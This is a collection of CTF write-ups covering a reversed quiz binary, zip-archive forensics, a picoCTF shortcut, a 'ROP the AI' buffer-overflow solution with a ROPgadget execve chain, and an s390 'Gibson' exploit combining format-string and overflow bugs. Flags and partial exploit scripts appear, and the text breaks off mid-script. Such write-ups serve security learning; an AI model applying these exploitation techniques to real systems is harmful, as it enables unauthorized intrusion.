Now why would it be multiplied by 8? Well this might signal that the answers are 8 bytes long integers. So let's examine what `answers` exactly is:```assembly0000000000004080 <answers>: 4080: 02 00 add al,BYTE PTR [rax] 4082: 00 00 add BYTE PTR [rax],al 4084: 00 00 add BYTE PTR [rax],al 4086: 00 00 add BYTE PTR [rax],al 4088: 04 00 add al,0x0 408a: 00 00 add BYTE PTR [rax],al 408c: 00 00 add BYTE PTR [rax],al 408e: 00 00 add BYTE PTR [rax],al 4090: f0 00 00 lock add BYTE PTR [rax],al 4093: 00 00 add BYTE PTR [rax],al 4095: 00 00 add BYTE PTR [rax],al 4097: 00 03 add BYTE PTR [rbx],al 4099: 00 00 add BYTE PTR [rax],al 409b: 00 00 add BYTE PTR [rax],al 409d: 00 00 add BYTE PTR [rax],al 409f: 00 6d 8d add BYTE PTR [rbp-0x73],ch 40a2: de 09 fimul WORD PTR [rcx] 40a4: 00 00 add BYTE PTR [rax],al 40a6: 00 00 add BYTE PTR [rax],al 40a8: 0a 00 or al,BYTE PTR [rax] 40aa: 00 00 add BYTE PTR [rax],al 40ac: 00 00 add BYTE PTR [rax],al 40ae: 00 00 add BYTE PTR [rax],al 40b0: 87 15 59 00 00 00 xchg DWORD PTR [rip+0x59],edx # 410f <flag+0x2f> 40b6: 00 00 add BYTE PTR [rax],al 40b8: 49 1e rex.WB (bad) 40ba: a1 06 00 00 00 00 5f movabs eax,ds:0x60e95f0000000006 40c1: e9 60 40c3: 20 00 and BYTE PTR [rax],al 40c5: 00 00 add BYTE PTR [rax],al 40c7: 00 09 add BYTE PTR [rcx],cl ...```Now you might see some instructions on the right side of this disassembly, but if you look at them what they're doing doesn't make sense. That's because the label (which is `answers`) isn't supposed to be instructions! They're just random instructions that just happen to correspond to the data in `answers` (there's a reason it's in the label `.data`!).
This is because we used the `-D` flag which disassembles everything, instead of `-d` which disassembles executable sections, but doesn't show data sections. (There are flags to make `objdump` with `-d`, but imo it's simpler to just use `-D` here. Your choice)
Ok, so back to what we were doing. Let's look at the data inside `answers`, We see `2`, a bunch of `0` bytes, then `4`... well, if we look at the first few questions, we can obviously see that the answers are `2` and `4`. (unless you're a toddler. but then how are you reading this? pls don't spam comments thx)
Now we can see that each answer is 8 bytes long because there are a bunch of `0`s after the first few answers, and `0` wouldn't make sense as answers. Also, we saw that the loop count was being multiplied by `8` earlier, so it makes sense.
Now we can find the answers! They're just 8 byte long integers. But we have to make sure to get the bytes in the right order, since x86 is little endian. So we just need to reverse the byte order for each integer.
Doing this, we get the answers:1. `2`2. `4`3. `0xf0=240`4. `3`5. `0x09de8d6d=165580141`6. `0x0a=10`7. `0x0x591587=5838215`8. `0x06a11e49=111222345` (this is one of those things where you feel really stupid after seeing the answer)9. `0x2060e95f=543222111`10. `9` (there aren't any `0`s after this so we can just assume that there's nothing else)
Now when we enter the answers (as decimal), we get the flag! It's `LITCTF{y0u_must_b3_gr8_@_m4th_i_th0ught_th4t_t3st_was_imp0ss1bl3!}`. Note that we couldn't have gotten the flag using purely math to answer the questions. (Well, technically everything is applied math, but I'm saying pure math here.)
You might ask, why couldn't we have just edited the code to generate the flag directly or faked it by using a debugger and modifying stuff to pass the checks?Well, if we look inside the `generate_flag` function, we see that it's computing the flag, and something named `submitted` is involved. Well, if we look through, we find out that this is the place where your inputted answers are stored! So the flag DEPENDS on the answers, and you can't get it without finding the answers in some way. |
Fill out the form and give your honest, unwavering feedback about LIT 2022. After you submit the form, you're taken to this page:
From here, we get that the flag is `LITCTF{Th4nk5_for_c0m1ng_w3_l0v3_y0u}`. (But do they actually?) |
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/crack-the-password.md) (https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/crack-the-password.md) |
# ROP the AIeasy | linux, exploit | 100 points
## DescriptionWe managed to take back this configuration manager from the AI. However, we are unsure if the AI has tinkered with it somehow. Can you help us discover any vulnerabilities in the program and, if you find any, exploit them as proof of your work?
## First ImpressionsThe title pretty much gives the solution away. ROP or [Return Oriented Programming](https://en.wikipedia.org/wiki/Return-oriented_programming) starts off with a buffer overflow, but since the program stack may not allow execution of code, you use existing instructions in the program to execute your command. These set of instructions are called "gadgets".
It's a concept I've generally been intimidated to learn as I find lower level code a bit intimidating in general. However, I finally decided to give it a shot through this challenge.
The challenge came with a binary file, `ROP-the-AI`, and a remote server, where we could send our exploit and get the flag.
```bash$ file ROP-the-AIROP-the-AI: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=d36ba5c3974bde56b5f87c81775763923b71026c, for GNU/Linux 3.2.0, not stripped$ ./ROP-the-AIPlease enter your preferred configuration:aConfiguration set to a.```
On opening the file in a reverse-engineering tool (Binary Ninja in this case), I found main(), which calls vuln().

I figured that var_78 (user input) was prone to a buffer overflow attack, but I needed to look at some tutorials for what payload to overflow the buffer with. This meant:- finding out the point at which the buffer overflows- knowing what payload to enter as input
## Solution
After some manual testing, I found the buffer overflow taking place at 120 bytes.
For the ROP part of the challenge, I tried to follow two tutorials ([here](https://www.youtube.com/watch?v=i5-cWI_HV8o) and [here](https://www.youtube.com/watch?v=TOImpHQvmpo) if you're interested in watching). However, either they didn't work as intended or I got impatient and stopped halfway through. I grapsed the basic idea, but was struggling to apply to this challenge. Surely a topic I would like to learn about further.
However, watching them did help, as through one of the tutorials, I found a tool called [ROPgadget](https://github.com/JonathanSalwan/ROPgadget). While I used this initially to list out the gadgets, I found out that it also automates the ROP chain creation process! The tool finds the ROP gadgets, finds a way to execute a shell using the gadgets and prints out the corresponding python code that the user can then use in their script.
So with this information, I ran ROPgadget and created a Python script using [pwntools](https://github.com/Gallopsled/pwntools) and the code provided by ROPgadget. The tutorials also proved helpful in the creation of the script.
```bash$ python3 ROPgadget --binary ROP-the-AI --rop-chain...Unique gadgets found: 37035
ROP chain generation===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x44dbc1 mov qword ptr [rsi], rax ; ret [+] Gadget found: 0x4087ce pop rsi ; ret [+] Gadget found: 0x44c043 pop rax ; ret [+] Gadget found: 0x43c165 xor rax, rax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x43c165 xor rax, rax ; ret [+] Gadget found: 0x46da90 add rax, 1 ; ret [+] Gadget found: 0x46da91 add eax, 1 ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x401931 pop rdi ; ret [+] Gadget found: 0x4087ce pop rsi ; ret [+] Gadget found: 0x4016eb pop rdx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x4011fa syscall
- Step 5 -- Build the ROP chain
#!/usr/bin/env python3# execve generated by ROPgadget<more python code>...```
**[rta-sol.py](src/rta-sol.py)**```python#!/usr/bin/env python3# execve generated by ROPgadget
from pwn import *from struct import pack
# Padding goes hererop = b''
rop += pack(' |
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/chemical-plant.md) (https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/chemical-plant.md) |
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/you-cant-see-me.md) (https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/you-cant-see-me.md) |
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/audible-transmission.md) (https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/audible-transmission.md) |
# Appnote.txtmisc | 50pts | 210 solves
## DescriptionEvery single archive manager unpacks this to a different file...
## First ImpressionsThe challenge comes with an zip file called `dump.zip`. Unzipping it results in a file called `hello.txt` containing the following text:
```txt
There's more to it than meets the eye...
```
From the challenge description and the text from `hello.txt`, we can guess that there are some hidden files. I checked the zip file with `binwalk`, and we can find A LOT of hidden files.
```bashDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 Zip archive data, v0.0 compressed size: 41, uncompressed size: 41, name: hello.txt135 0x87 Zip archive data, v0.0 compressed size: 33, uncompressed size: 33, name: hi.txt256 0x100 Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag00345 0x159 Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag00434 0x1B2 Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag00523 0x20B Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag00612 0x264 Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag00...60598 0xECB6 Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag1860687 0xED0F Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag1860776 0xED68 Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag1860865 0xEDC1 Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag1860954 0xEE1A Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag1861043 0xEE73 Zip archive data, v0.0 compressed size: 1, uncompressed size: 1, name: flag1861572 0xF084 End of Zip archive, footer length: 22```The names range from flag00.zip to flag18.zip, and each file name appears 36 times. Interesting, maybe we can find something if we check the strings in this zip file?
```txtV~uK)hello.txtThere's more to it than meets the eye...V~uK)hello.txtPKhi.txtFind a needle in the haystack...hi.txtPKflag00aPKflag00PKflag00bPKflag00PKflag00cPKflag00PK...flag18{PKflag18PKflag18CPKflag18PKflag18TPKflag18PKflag18FPKflag18PKflag180PKflag18PKflag181PKflag18PKflag183PKflag18PKflag187PKflag18PKflag18}PKflag18PKflag18_PKflag18PK```
Each file name is followed by a character, which is one of the following: all lowercase letters (`a-z`), `{`, `C`, `T`, `F`, `0`, `1`, `3`, `7`, `}`, `_`. From the range of characters, it looks like extracting the right files would make the flag. We need to find out which files to extract.
## Searching for the SolutionI came across [this Stack Overflow post](https://stackoverflow.com/questions/4802097/how-does-one-find-the-start-of-the-central-directory-in-zip-files) in my searches. What caught my eye was the name APPNOTE.TXT in the question, which is the name of this challenge.
[APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) happens to be the document containing the file format specification for the ZIP file. With that I figured that I would have to look into the hex bytes for something.
The second thing that caught my eye was the term "central directory". I knew a bit about the ZIP file structure, but needed to look it up more in detail.
### Central directory: a short introduction
The central directory consists of[^1] :- central directory file headers, which point to files in the archive and contain additional metadata.- end of central directory record or EOCDR, which is used by zip tools to correctly read and extract files from the archive. This structure contains information about the archive and points to the start of the central directory, which further points to the data in the archive.
File structure from APPNOTE.TXT```4.3.16 End of central directory record:
end of central dir signature 4 bytes (0x06054b50) number of this disk 2 bytes number of the disk with the start of the central directory 2 bytes total number of entries in the central directory on this disk 2 bytes total number of entries in the central directory 2 bytes size of the central directory 4 bytes offset of start of central directory with respect to the starting disk number 4 bytes .ZIP file comment length 2 bytes .ZIP file comment (variable size)```
The APPNOTE also mentioned that a ZIP file must have only one EOCDR. So, maybe checking the EOCDR segment of the ZIP file will help find out which files to extract?
## Solution
The EOCDR begins with the hex bytes `50 4B 05 06` (big-endian). After opening the file in a hex editor (UltraEdit in my case) I searched for the hex bytes. And...there's multiple results, specifically 21 of them?
```txt50 4B 05 06 00 00 00 00 01 00 01 00 00 EE 00 00 CC 00 00 0050 4B 05 06 00 00 00 00 01 00 01 00 5A E4 00 00 88 0A 00 0050 4B 05 06 00 00 00 00 01 00 01 00 93 D7 00 00 65 17 00 0050 4B 05 06 00 00 00 00 01 00 01 00 CC CA 00 00 42 24 00 0050 4B 05 06 00 00 00 00 01 00 01 00 69 BF 00 00 BB 2F 00 0050 4B 05 06 00 00 00 00 01 00 01 00 CE B6 00 00 6C 38 00 0050 4B 05 06 00 00 00 00 01 00 01 00 29 A5 00 00 27 4A 00 0050 4B 05 06 00 00 00 00 01 00 01 00 E7 9C 00 00 7F 52 00 0050 4B 05 06 00 00 00 00 01 00 01 00 42 8B 00 00 3A 64 00 0050 4B 05 06 00 00 00 00 01 00 01 00 21 86 00 00 71 69 00 0050 4B 05 06 00 00 00 00 01 00 01 00 71 73 00 00 37 7C 00 0050 4B 05 06 00 00 00 00 01 00 01 00 66 70 00 00 58 7F 00 0050 4B 05 06 00 00 00 00 01 00 01 00 E3 59 00 00 F1 95 00 0050 4B 05 06 00 00 00 00 01 00 01 00 AC 52 00 00 3E 9D 00 0050 4B 05 06 00 00 00 00 01 00 01 00 A2 47 00 00 5E A8 00 0050 4B 05 06 00 00 00 00 01 00 01 00 8E 33 00 00 88 BC 00 0050 4B 05 06 00 00 00 00 01 00 01 00 9A 2A 00 00 92 C5 00 0050 4B 05 06 00 00 00 00 01 00 01 00 16 1C 00 00 2C D4 00 0050 4B 05 06 00 00 00 00 01 00 01 00 38 15 00 00 20 DB 00 0050 4B 05 06 00 00 00 00 01 00 01 00 2F 02 00 00 3F EE 00 0050 4B 05 06 00 00 00 00 01 00 01 00 34 F0 00 00 50 00 00 00```When checking for hidden files in `dump.zip`, we found a total of 21 unique file names:- hello.txt- hi.txt- flag00 to flag18
OH! Each EOCDR corresponds to each of the files in the archive. And since we have multiple files with the same name for flag00 to flag18, the EOCDR will help to point out which file to extract, LETSGO!
To understand the data in the records better, here is a representation with one of the records as an example
```txt50 4B 05 06 00 00 00 00 01 00 01 00 5A E4 00 00 88 0A 00 00
50 4B 05 06 end of central dir signature 00 00 number of this disk00 00 number of the disk with the start of the central directory01 00 total number of entries in the central directory on this disk01 00 total number of entries in the central directory5A 34 size of the central directory00 00 88 0A offset of start of central directory with respect to the starting disk number00 00 .ZIP file comment length```
The data significant for the solution is the "offset of start of central directory with respect to the starting disk number". In short, this points to the start of the central directory. In the above example, the address is 0x0000880a in big-endian, or 0x00000a88 in little-endian. I entered the address (in little-endian format) in the hex editor and it points to the central directory header (40 5B 01 02). We can see the character 'C' 1 byte before the file header (highlighted). As the flag begins with `CTF`, I know that this is the correct character.

A similar process can be followed remaining records, and we get our flag! Of course, I wanted to make a script to make this process easier, so I did.
**[appnote-sol.py](src/appnote-sol.py)**```pythonimport binascii
with open('dump.zip', "rb") as file: content = file.read()hexadecimal = binascii.hexlify(content)
flag = []for i in range(0, len(hexadecimal), 32): line = hexadecimal.decode('utf-8')[i:i+32] if "0506" in line: f = line.find("0506")
# offset of start of central directory address = hexadecimal.decode('utf-8')[i+f+28:i+f+36]
# converting address to little-endian format ba = bytearray.fromhex(address) ba.reverse() s = ''.join(format(x, '02x') for x in ba)
# retriving the byte before the file header, i.e., the character index = int(s, 16) - 0x1 flag.append(chr(content[index]))
print(''.join(flag).strip('\n'))```
```bash$ python3 appnote-sol.pyCTF{p0s7m0d3rn_z1p}```
Flag: `CTF{p0s7m0d3rn_z1p}`
[^1]: Sources - https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html#centraldirectory - https://www.hanshq.net/zip.html#eocdr - https://en.wikipedia.org/wiki/ZIP_(file_format)#End_of_central_directory_record_(EOCD) |
# Cheeze Solution (I don't think I was supposed to do this)## Basic Web ScrapingOk so we pull up the website and see a simple form. The first thing I think of is checking what the form submits to.```html<button onclick="onButtonPress()">Submit</button>```
Ok cool, so its a JS function. Inspect element and view the sources to find an obfuscated JS file. I read the file anyways, and found this:
```jsconst _0x402c=['value','2wfTpTR', ..., 'Correct!','check_flag','Incorrect!','./JIFxzHyW8W','23SMpAuA','802698XOMSrr', ...]```
Freeze frame. The `./` in `./JIFxzHyW8W` indicates that there is a file in this webserver (it might be differently named for you). And that file is important. Navigate to that file: `http://mercury.picoctf.net:<port>/index.html/JIFxzHyW8W`.
## Is this PWN?It downloads an executable, and that's good. Scrape the executable by running `strings JIFxzHyW8W` in a terminal. The last string I got was `picoCTF{cb688c00b5a2ede7eaedcae883735759}`.
### AfterthoughtsI guess this wasn't just web, but also pwn. Who woulda thunk. |
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/technical-debt.md) (https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/technical-debt.md) |
# Gibson
### Pwning a Novel Architecture
The description for this challenge is as follows:
*Can you really call it a "main"frame if I haven't used it before now?*
*Author: Research Innovations, Inc. (RII)*
This was one of only two challenges in the competition worth 1000 points, and as such, was one of the hardest challenges. The main challenge was the use of the s390 architecture on a binary that would otherwise be straightforward to exploit; this meant that documentation was sparse, a lot of traditional tooling worked badly or not at all, and a significant amount of time went into trying things out and watching the results in a debugger in an attempt to diagnose what was going wrong.
**TL;DR Solution:** Note the presence of both a significant buffer overflow and a format string vulnerability. Determine that r11 and r15 registers can be controlled by the overflow and seem similar to rbp and rsp, and use this fact to jump back just befor the read call, set the address to read to to the GOT, and overwrote the GOT tables based on a libc leak from the format string vulnerability. By ensuring that the start of my input is "/bin/sh\x00" and setting printf's entry to system, you can get a shell.
## Original Writeup Link
This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/blob/main/pwn_challs/CyberOpen22/gibson/ReadMe.md
## Gathering Information
Initially, I ran file on the mainframe binary provided in the .tar file. This revealed that this binary is compiled for the s390 architecture, and uses MSB (most significant bit) encoding instead of the usual LSB.```knittingirl@piglet:~/CTF/CyberOpen22/gibson_s390x/bin$ file mainframe mainframe: ELF 64-bit MSB executable, IBM S/390, version 1 (SYSV), dynamically linked, interpreter /lib/ld64.so.1, BuildID[sha1]=5684ff421a651508bbe92190636290180d7e03c2, for GNU/Linux 3.2.0, not stripped```As a result, I am not going to be able to run this on my local system, and need to use the provided docker setup. As I recall, I was able to just run "docker-compose build" from the folder containing the Dockerfile once I had decompressed the downloadable; there were reports of people having trouble with this that seemed to mostly be resolved by making sure that you are running recent versions of docker and docker-compose.
Once docker-compose is finished, you should have two new docker images, labelled gibson_s390x_infrastructure and gibson_s390x_competitor. We will mostly be using the competitor image since that allows for debugging (see the tips.md file in the docs folder).```knittingirl@piglet:~/CTF/CyberOpen22/gibson_s390x/bin$ sudo docker images[sudo] password for knittingirl: REPOSITORY TAG IMAGE ID CREATED SIZEgibson_s390x_infrastructure latest 615cf94db12e 4 days ago 984MBgibson_s390x_competitor latest 353c75491ee4 4 days ago 984MB```Once you have the image, you can run it to create a container; then you will want to check that the appropriate ports are open and what the container's IP address is. If everything is working correctly, you can connect in on port 8888 over netcat, then attach gdb-multiarch over port 1234 in another tab in order to debug.```knittingirl@piglet:~/CTF/CyberOpen22$ sudo docker run 353c75491ee4[sudo] password for knittingirl: * Starting internet superserver xinetd ...done.
knittingirl@piglet:~/CTF/CyberOpen22/gibson_s390x$ sudo docker ps[sudo] password for knittingirl: CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES24753634dfa7 353c75491ee4 "/bin/sh -c 'serviceโฆ" 2 minutes ago Up 2 minutes 1234/tcp, 8888/tcp relaxed_volhardknittingirl@piglet:~/CTF/CyberOpen22/gibson_s390x$ sudo docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' 24753634dfa7172.17.0.2```Here is what the program looks like when the let it run in full:```knittingirl@piglet:~/CTF/CyberOpen22/gibson_s390x$ nc 172.17.0.2 8888GIBSON S390XEnter payroll data:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaProcessing data...333333333333333333333333333333333333333XRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR```And here is what we needed to do with gdb in another tab in order get there:```knittingirl@piglet:~/CTF/CyberOpen22/gibson_s390x/bin$ gdb-multiarch ./mainframe GNU gdb (Debian 10.1-2) 10.1.90.20210103-gitCopyright (C) 2021 Free Software Foundation, Inc....gefโค target remote 172.17.0.2:1234Remote debugging using 172.17.0.2:1234warning: remote target does not support file transfer, attempting to access files from local filesystem.warning: Unable to find dynamic linker breakpoint function.GDB will be unable to debug shared library initializersand track explicitly loaded dynamic code.0x00007f9a6e274f70 in ?? ()[ Legend: Modified register | Code | Heap | Stack | String ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ registers โโโโ[!] Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'gefโค cContinuing.```Since Ghidra does not seem to work on this architecture, we can also use gdb-multiarch as a disassembler for help with static analysis. Here is the full dump of the main function:```gefโค disas mainDump of assembler code for function main: 0x0000000001000830 <+0>: stmg %r11,%r15,88(%r15) 0x0000000001000836 <+6>: lay %r15,-1192(%r15) 0x000000000100083c <+12>: lgr %r11,%r15 0x0000000001000840 <+16>: lgrl %r1,0x1001ff0 0x0000000001000846 <+22>: lg %r1,0(%r1) 0x000000000100084c <+28>: lghi %r5,0 0x0000000001000850 <+32>: lghi %r4,2 0x0000000001000854 <+36>: lghi %r3,0 0x0000000001000858 <+40>: lgr %r2,%r1 0x000000000100085c <+44>: brasl %r14,0x1000694 <setvbuf@plt> 0x0000000001000862 <+50>: lgrl %r1,0x1001ff8 0x0000000001000868 <+56>: lg %r1,0(%r1) 0x000000000100086e <+62>: lghi %r5,0 0x0000000001000872 <+66>: lghi %r4,2 0x0000000001000876 <+70>: lghi %r3,0 0x000000000100087a <+74>: lgr %r2,%r1 0x000000000100087e <+78>: brasl %r14,0x1000694 <setvbuf@plt> 0x0000000001000884 <+84>: aghik %r1,%r11,160 0x000000000100088a <+90>: lghi %r4,1024 0x000000000100088e <+94>: lghi %r3,0 0x0000000001000892 <+98>: lgr %r2,%r1 0x0000000001000896 <+102>: brasl %r14,0x10006b4 <memset@plt> 0x000000000100089c <+108>: larl %r2,0x1000a48 0x00000000010008a2 <+114>: brasl %r14,0x1000654 <puts@plt> 0x00000000010008a8 <+120>: larl %r2,0x1000a56 0x00000000010008ae <+126>: brasl %r14,0x1000654 <puts@plt> 0x00000000010008b4 <+132>: aghik %r1,%r11,160 0x00000000010008ba <+138>: lghi %r4,2000 0x00000000010008be <+142>: lgr %r3,%r1 0x00000000010008c2 <+146>: lghi %r2,0 0x00000000010008c6 <+150>: brasl %r14,0x10005f4 <read@plt> 0x00000000010008cc <+156>: larl %r2,0x1000a6a 0x00000000010008d2 <+162>: brasl %r14,0x1000654 <puts@plt> 0x00000000010008d8 <+168>: mvghi 1184(%r11),0 0x00000000010008de <+174>: j 0x1000904 <main+212> 0x00000000010008e2 <+178>: lg %r1,1184(%r11) 0x00000000010008e8 <+184>: ic %r1,160(%r1,%r11) 0x00000000010008ec <+188>: xilf %r1,82 0x00000000010008f2 <+194>: lr %r2,%r1 0x00000000010008f4 <+196>: lg %r1,1184(%r11) 0x00000000010008fa <+202>: stc %r2,160(%r1,%r11) 0x00000000010008fe <+206>: agsi 1184(%r11),1 0x0000000001000904 <+212>: lg %r1,1184(%r11) 0x000000000100090a <+218>: clgfi %r1,1023 0x0000000001000910 <+224>: jle 0x10008e2 <main+178> 0x0000000001000914 <+228>: lghi %r2,0 0x0000000001000918 <+232>: brasl %r14,0x1000634 <sleep@plt> 0x000000000100091e <+238>: aghik %r1,%r11,160 0x0000000001000924 <+244>: lgr %r2,%r1 0x0000000001000928 <+248>: brasl %r14,0x1000614 <printf@plt> 0x000000000100092e <+254>: lhi %r1,0 0x0000000001000932 <+258>: lgfr %r1,%r1 0x0000000001000936 <+262>: lgr %r2,%r1 0x000000000100093a <+266>: lmg %r11,%r15,1280(%r11) 0x0000000001000940 <+272>: br %r14```Based on the disassembly and our test run of the program, we can come up with some ideas about how this program works:
#1: The read call potentially reads in a lot of bytes; while we can't necessarily be sure without more testing, it looks like 2000 is deliberately loaded into the r4 register before the read call, which would make the most sense as the third argument of that function controlling the read length. While we don't necessarily know the full size of the buffer, 2000 may easily exceed that size.
When combined with the loading of the r2 register with 0 and the loading of the r3 register with something, this would also indicate that in the s390 architecture, the first argument is controlled by r2, the second by r3, and the third by r4.``` 0x00000000010008b4 <+132>: aghik %r1,%r11,160 0x00000000010008ba <+138>: lghi %r4,2000 0x00000000010008be <+142>: lgr %r3,%r1 0x00000000010008c2 <+146>: lghi %r2,0 0x00000000010008c6 <+150>: brasl %r14,0x10005f4 <read@plt>```#2. The text printed out at the end of the program's run appears to just be our input with the characters XORed by 0x52, which would make sense for a series of a's, a newline, and a bunch of nulls.```>>> chr(ord('3') ^ ord('R'))'a'>>> chr(ord('X') ^ ord('R'))'\n'>>> chr(ord('R') ^ ord('R'))'\x00'>>> hex(ord('R'))'0x52'```#3. The final print to console of our transformed input seems to be a call to printf. This may indicate that there is a format string vulnerability, especially since nothing is loaded into r3 which could potentially sanitize the input, i.e. it probably looks like "printf(buf);" rather than "printf("%s", buf);".```0x000000000100091e <+238>: aghik %r1,%r11,160 0x0000000001000924 <+244>: lgr %r2,%r1 0x0000000001000928 <+248>: brasl %r14,0x1000614 <printf@plt> 0x000000000100092e <+254>: lhi %r1,0 0x0000000001000932 <+258>: lgfr %r1,%r1 0x0000000001000936 <+262>: lgr %r2,%r1 0x000000000100093a <+266>: lmg %r11,%r15,1280(%r11) 0x0000000001000940 <+272>: br %r14```## Testing Ideas:
So, at this point, we need to write a script and test out some of these things. I was able to use pwntools without issue by running the script then tabbing over to my gdb setup. I also set up a long timeout on my initial recvuntil since it would otherwise sporadically cause problems.
At this point, I should also note that I at least found that the docker got unusable if I crashed it, which obviously happened a lot. docker restart container_id will be your friend.
First, I determined that the program seems to be able to take 1144 bytes of input before it starts crashing by simply feeding in progressively larger payloads. So, I created a payload to both test out my format string idea by feeding in some %p's, appropriately transformed to decode with the XOR operation, and attempt to jump back to main.```def xorer(payload): result = b'' for char in payload: result += (char ^ 0x52).to_bytes(1, 'big') return result
from pwn import *
target = remote('172.17.0.2', 8888)
main = 0x0000000001000830
print(target.recvuntil(b'Enter payroll data:', timeout=1000))padding = b'a' * 1144payload = padding
payload = xorer(b'%p' * 10)payload += b'a' * (1144 - len(payload))#Since s390 is MSB, I have to reverse my byte order.payload += p64(main)[::-1]
target.sendline(payload)target.interactive()```As some general housekeeping, since GEF didn't really like this architecture, I was able to determine that pswa seems to be analagous to the rip register on amd64 and set up an appropriate display so that I could see what is going on more easily. I also had to manually give it the address of an appropriate libc file so that I could view library functions more easily, which comes in useful later. I also set displays for my probable argument registers so that I could see what was going on more easily.```gefโค info regpswm 0x100180000000 0x100180000000pswa 0x1000830 0x1000830...gefโค display/5i $pswa2: x/5i $pswa=> 0x1000830 <main>: stmg %r11,%r15,88(%r15) 0x1000836 <main+6>: lay %r15,-1192(%r15) 0x100083c <main+12>: lgr %r11,%r15 0x1000840 <main+16>: lgrl %r1,0x1001ff0 0x1000846 <main+22>: lg %r1,0(%r1)gefโค display/gx $r23: x/xg $r2 0x1: <error: Cannot access memory at address 0x1>gefโค display/gx $r34: x/xg $r3 0x7f852db82c78: 0x00007f852db82e7agefโค display/gx $r45: x/xg $r4 0x7f852db82c88: 0x00007f852db82e86gefโค set solib-search-path bin/libc.so.6Reading symbols from /home/knittingirl/CTF/CyberOpen22/gibson_s390x/bin/libc.so.6...```With all that in mind, I can run my script and break at the end of main. The format string operation worked, and I appear to have a helpful libc leak:```knittingirl@piglet:~/CTF/CyberOpen22/gibson_s390x$ python3 gibson_writeup.py [+] Opening connection to 172.17.0.2 on port 8888: Doneb'GIBSON S390X\nEnter payroll data:'[*] Switching to interactive mode
